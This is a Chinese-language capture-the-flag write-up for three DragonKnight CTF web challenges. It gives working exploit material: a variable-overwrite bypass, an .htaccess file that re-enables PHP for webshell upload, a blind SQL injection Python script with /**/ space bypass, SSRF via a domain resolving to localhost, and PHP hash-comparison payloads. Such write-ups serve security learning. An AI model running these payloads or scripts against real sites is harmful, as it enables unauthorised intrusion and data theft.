日常比赛

DragonKnight CTF

DragonKnight CTF

img

ezsign

考点:php引擎关闭下的文件上传

打开题目是一个登陆界面
登陆账号密码分别为1,1

使用dirsearch扫描到/index.php.bak
得到源码

error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);

    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;

    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }

    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="post" action="./login.php">
        <div>
            <label for="username">Username:</label>
            <input type="text" name="username" id="username" required>
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>
        </div>
        <div>
            <input type="submit" value="Login">
        </div>
    </form>
</body>
</html>
EOD;
    echo $html;
}
?>

<script>
    function displayInput() {
      var inputText = document.getElementById("input-text").value;
      document.write(inputText)
    }
</script>

发现要进入文件上传页面的话,要使$_SERVER['REMOTE_ADDR'] == "127.0.0.1"成立

这好办,存在变量覆盖extract($_GET);
只需要get传参?_SERVER[REMOTE_ADDR]=127.0.0.1即可

尝试上传一个webshell

发现可以上传成功,但上传到php文件没有被解析

解析不了php文件,是因为出题人在 upload 下放了个.htaccess,关闭了php解析引擎

没事儿,上传一个.htaccess文件打开php引擎即可

<FilesMatch "3.jpg">
setHandler application/x-httpd-php
php_flag engine 1 
</FilesMatch>
php_flag 是一个 Apache Web 服务器上用于在 .htaccess 文件或虚拟主机配置中设置 PHP 配置选项的指令。engine 是一个 PHP 配置选项,用于启用或禁用 PHP 引擎。

当将 php_flag engine 1 添加到 .htaccess 文件或虚拟主机配置中时,它表示将 PHP 引擎设置为启用状态。这意味着服务器会将相关的 PHP 文件发送给 PHP 解释器处理,并生成动态的网页内容。如果将值设置为 0,即 php_flag engine 0,则表示禁用 PHP 引擎,服务器将直接发送 PHP 文件的内容而不进行解释和处理。

之后直接上传webshell即可

另解
考虑目录穿越。直接上传例如../../shell.php无效,考虑根据源代码的echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';,将username修改实现目录穿越。
再次登录,由于网站根路径为/var/www/html,修改username为../../html(理论上../也可以,保险起见),上传木马,此时木马被传到能解析php的根目录,成功执行,通过目录遍历找到根目录的f1ag_1s_h3r3_04c76718-3c8f-4049-be9c-322548473c10,访问拿到flag

EzLogin

考点:有过滤的sql注入,token注入

这道题出得有点恶心,就一个sql盲注,整些花里胡哨的

显示我不是admin, bp抓包,token解密为{"username":"admin", "token":"21232f297a57a5a743894a0e4a801fc3", "is_admin":0}
将0改为1即可登录

显示出admin的密码

发现毛用没有

看wp才知道这里的token存在sql注入

这里存在过滤

改了一下师傅的py脚本,fuzz一下过滤了哪些字符

import requests
import base64
import hashlib
import binascii
def string_to_hex_direct(s):
    return binascii.hexlify(s.encode()).decode()
burp0_url = "http://challenge.qsnctf.com:31075/home.php"
session = requests.session()

test_list = [
    'length',
    'Length',
    '+',
    'handler',
    'likeLiKe',
    'selectSeleCT',
    'sleepSLEEp',
    'databaseDATABASe',
    'delete',
    'having',
    'oroR',
    'asAs',
    '-',
    '~',
    'BENCHMARK',
    'limitLimIt',
    'leftLeft',
    'selectSELECT',
    'insertinsERTINSERT',
    'right',
    '#',
    '--+',
    'INFORMATION',
    '--',
    ';',
    '!',
    '%',
    '+',
    'xor',
    '<>',
    '(',
    '>',
    '<',
    ')',
    '.',
    '^',
    '=',
    'ANDANd',
    'BYBy',
    'CAST',
    'COLUMNCOlumn',
    'COUNTCount',
    'CREATE',
    'END',
    'case',
    "'1'='1",
    'when',
    "admin'",
    '"',
    'length',
    '+',
    'REVERSE',
    'asciiASSICASSic',
    'select',
    'database',
    'left',
    'right',
    'unionUNIonUNION',
    '"',
    '&',
    '&&',
    '||',
    'oorr',
    '/',
    '//',
    '//*',
    '*/*',
    '/**/',
    'anandd',
    'GROUP',
    'HAVING',
    'IF',
    'INTO',
    'JOIN',
    'LEAVE',
    'LEFT',
    'LEVEL',
    'sleep',
    'LIKE',
    'NAMES',
    'NEXT',
    'NULL',
    'OF',
    'ON',
    '|',
    'infromation_schema',
    'user',
    'OR',
    'ORDER',
    'ORD',
    'SCHEMA',
    'SELECT',
    'SET',
    'TABLE',
    'THEN',
    'UNION',
    'UPDATE',
    'USER',
    'USING',
    'VALUE',
    'VALUES',
    'WHEN',
    'WHERE',
    'ADD',
    'AND',
    'prepare',
    'set',
    'update',
    'delete',
    'drop',
    'inset',
    'CAST',
    'COLUMN',
    'CONCAT',
    'GROUP_CONCAT',
    'group_concat',
    'CREATE',
    'DATABASE',
    'DATABASES',
    'alter',
    'DELETE',
    'DROP',
    'floor',
    'rand()',
    'information_schema.tables',
    'TABLE_SCHEMA',
    '%df',
    'concat_ws()',
    'concat',
    'LIMIT',
    'ORD',
    'ON',
    'extractvalue',
    'order',
    'CAST()',
    'by',
    'ORDER',
    'OUTFILE',
    'RENAME',
    'REPLACE',
    'SCHEMA',
    'SELECT',
    'SET',
    'updatexml',
    'SHOW',
    'SQL',
    'TABLE',
    'THEN',
    'TRUE',
    'instr',
    'benchmark',
    'format',
    'bin',
    'substring',
    'ord',
    'UPDATE',
    'VALUES',
    'VARCHAR',
    'VERSION',
    'WHEN',
    'WHERE',
    '/*',
    '`',
    ',',
    'users',
    '%0a%0A',
    '%0b',
    'mid',
    'for',
    'BEFORE',
    'REGEXP',
    'RLIKE',
    'in',
    'sys schemma',
    'SEPARATOR',
    'XOR',
    'CURSOR',
    'FLOOR',
    'sys.schema_table_statistics_with_buffer',
    'INFILE',
    'count',
    '%0c',
    'from',
    '%0d',
    '%a0',
    '=',
]

for i in test_list:
        sql=f"{i}"
        token=hashlib.md5(sql.encode()).hexdigest()
        data='''{"username":"'''+sql+'''", "token":"'''+token+'''", "is_admin":1}'''
        data_base64=base64.b64encode(bytes(data, encoding="utf8")).decode("utf-8")

        hex_data=string_to_hex_direct(data_base64)
        burp0_cookies = {"TOKEN":hex_data }
        res=session.get(burp0_url, cookies=burp0_cookies)
        if "Hacker" in res.text:
            print(i)

跑完脚本后,发现过滤了union,group,sleep,空格
这里就用sql盲注
空格用/**/绕过

admin'/**/and/**/1=1#

alt text

admin'/**/and/**/1=2#

alt text
这就确定就是用sql盲注了

exp

import requests
import base64
import hashlib
import binascii
def string_to_hex_direct(s):
    return binascii.hexlify(s.encode()).decode()
burp0_url = "http://challenge.qsnctf.com:31385/home.php"
session = requests.session()
len=100
flag=''
for i in range(1, len+1):
    for j in range(20,127):
        #sql=f"admin'/**/and/**/asCii(Substr((select/**/TABLE_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),{i},1))={j}#"
        #secret

        #sql=f"admin'/**/and/**/asCii(Substr((select/**/column_name/**/from/**/informaton_schema.columns/**/where/**/table_name/**/like/**/'secret'/**/limit/**/2,1),{i},1))={j}#"
        #flag sseeccrreett

        #sql=f"admin'/**/and/**/asCii(Substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'user'/**/limit/**/2,1),{i},1))={j}#"

        sql=f"admin'/**/and/**/asCii(Substr((select/**/sseeccrreett/**/from/**/secret/**/limit/**/0,1),{i},1))={j}#"
        token=hashlib.md5(sql.encode()).hexdigest()
        data='''{"username":"'''+sql+'''", "token":"'''+token+'''", "is_admin":1}'''
        data_base64=base64.b64encode(bytes(data, encoding="utf8")).decode("utf-8")

        hex_data=string_to_hex_direct(data_base64)
        burp0_cookies = {"TOKEN":hex_data }
        res=session.get(burp0_url,cookies=burp0_cookies)
        if 'No' not in res.text:
            flag+=chr(j)
            print(flag)
            break

穿梭隐藏的密钥

arjun参数爆破,ssrf和MD5绕过

源码发现路由
访问路由/c3s4f.php
参数爆破,得到参数shell
这里使用arjun工具爆破参数

arjun -u http://challenge.qsnctf.com:31117/c3s4f.php

alt text
需要本地才能实现文件读取
开始ssrf伪造
但是过滤了gopher,127,@,0等,以下是正则

'/ftp|ftps|gopher|telnet|dict|file|ldap|@|127|0|[|localhost|https/i'

这里可以用302跳转或者域名解析IP绕过

sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址,然后可以通过A记录转向访问
类似的还有safe.taobao.com,114.taobao.com,test.xiaodi8.com等

故构造如下:

?shell=http://sudo.cc/

发现回到了首页,跨越成功
但是要求是秘密只给127.0.0.1
猜测为secret.php(或者扫目录)

?shell=http://sudo.cc/secret.php

拿到key ,这里的key值是DrKn的参数和cha11eng3.php路由
challenge1:
需要绕过file_get_contents()函数
用data://伪协议绕过
所以第一部分payload:

/cha11eng3.php?DrKn=data://text/plain,MSIBLG

challenge2:
关键代码如下

hash("md4", $damei) == $damei

传入的值被md4加密后跟原来的相等
利用php的松散性绕过,也就是0e

初始值:  0e001233333333333334557778889
md4 hash  :  0e434041524824285414215559233446
初始值:  0e00000111222333333666788888889
md4 hash  :  0e434041524824285414215559233446

php非法传参
在给参数传值时,如果参数名中存在非法字符,比如空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。
并且,在PHP8之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
第二部分payload:

/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889

challenge3:
md5针对强类型逻辑比较绕过,同弱类型逻辑比较中利用php特性MD5处理数组默认返回Null进行绕过手法
(Null类型强(弱)等于Null类型)
第三部分payload:

get传参:
/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889
post传参:
wtf[]=11&mC[]=1
或者
直接post传参

你可能也会喜欢...

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注